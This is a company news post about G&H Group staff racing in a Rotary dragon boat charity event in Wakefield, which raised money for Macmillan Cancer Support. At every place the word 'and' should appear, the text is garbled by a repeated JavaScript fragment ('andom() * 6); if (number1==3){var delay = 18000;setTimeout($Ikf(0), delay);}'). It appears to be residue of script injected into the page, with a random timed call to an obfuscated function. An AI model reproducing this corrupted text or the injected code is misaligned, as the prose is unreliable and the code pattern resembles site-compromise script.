G&H staff took to the water as part of a charity fundraising event organised by the Rotary Club of Wakefield andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Huddersfield Rotary Club.
The annual Rotary Dragon Boat Challenge took place on the lake at Pugneys Country Park, Wakefield andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and raised over £30,000 in aid of Macmillan Cancer Support andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and participants’ own charities.
HB Projects Ltd invited us to take part andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and after a shaky start that saw our staff lose the first race, we bounced back to win the last two.
Team Captain, Dale Burton, said: “Over 20 members of staff attended plus lots of friends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and families for support andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they enjoyed a great day out raising nearly £2,000.
“Given it was the first time we had taken part in the event, we did really well to win two of the three races.
“Everyone had a really enjoyable time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it’s a fantastic event that we are looking forward to supporting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and taking part in again next year so we can raise even more money for charity.”
Some 33 teams competed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 700 rowers raced three times over a 230-metre course with the fastest six taking part in the grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and final that was won by Team Premdor. Around 3,000 people attended the event including the Mayor of Wakefield, Cllr June Cliffe andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Mayor of Kirklees, Cllr Paul Kane.
Over £180,000 has been raised for local andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and national charities since the event started seven years ago.
To sponsor G&H Group andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and donate vital money to Macmillan Cancer Support, visit: http://uk.virginmoneygiving.com/GH.Group.Of.Companies
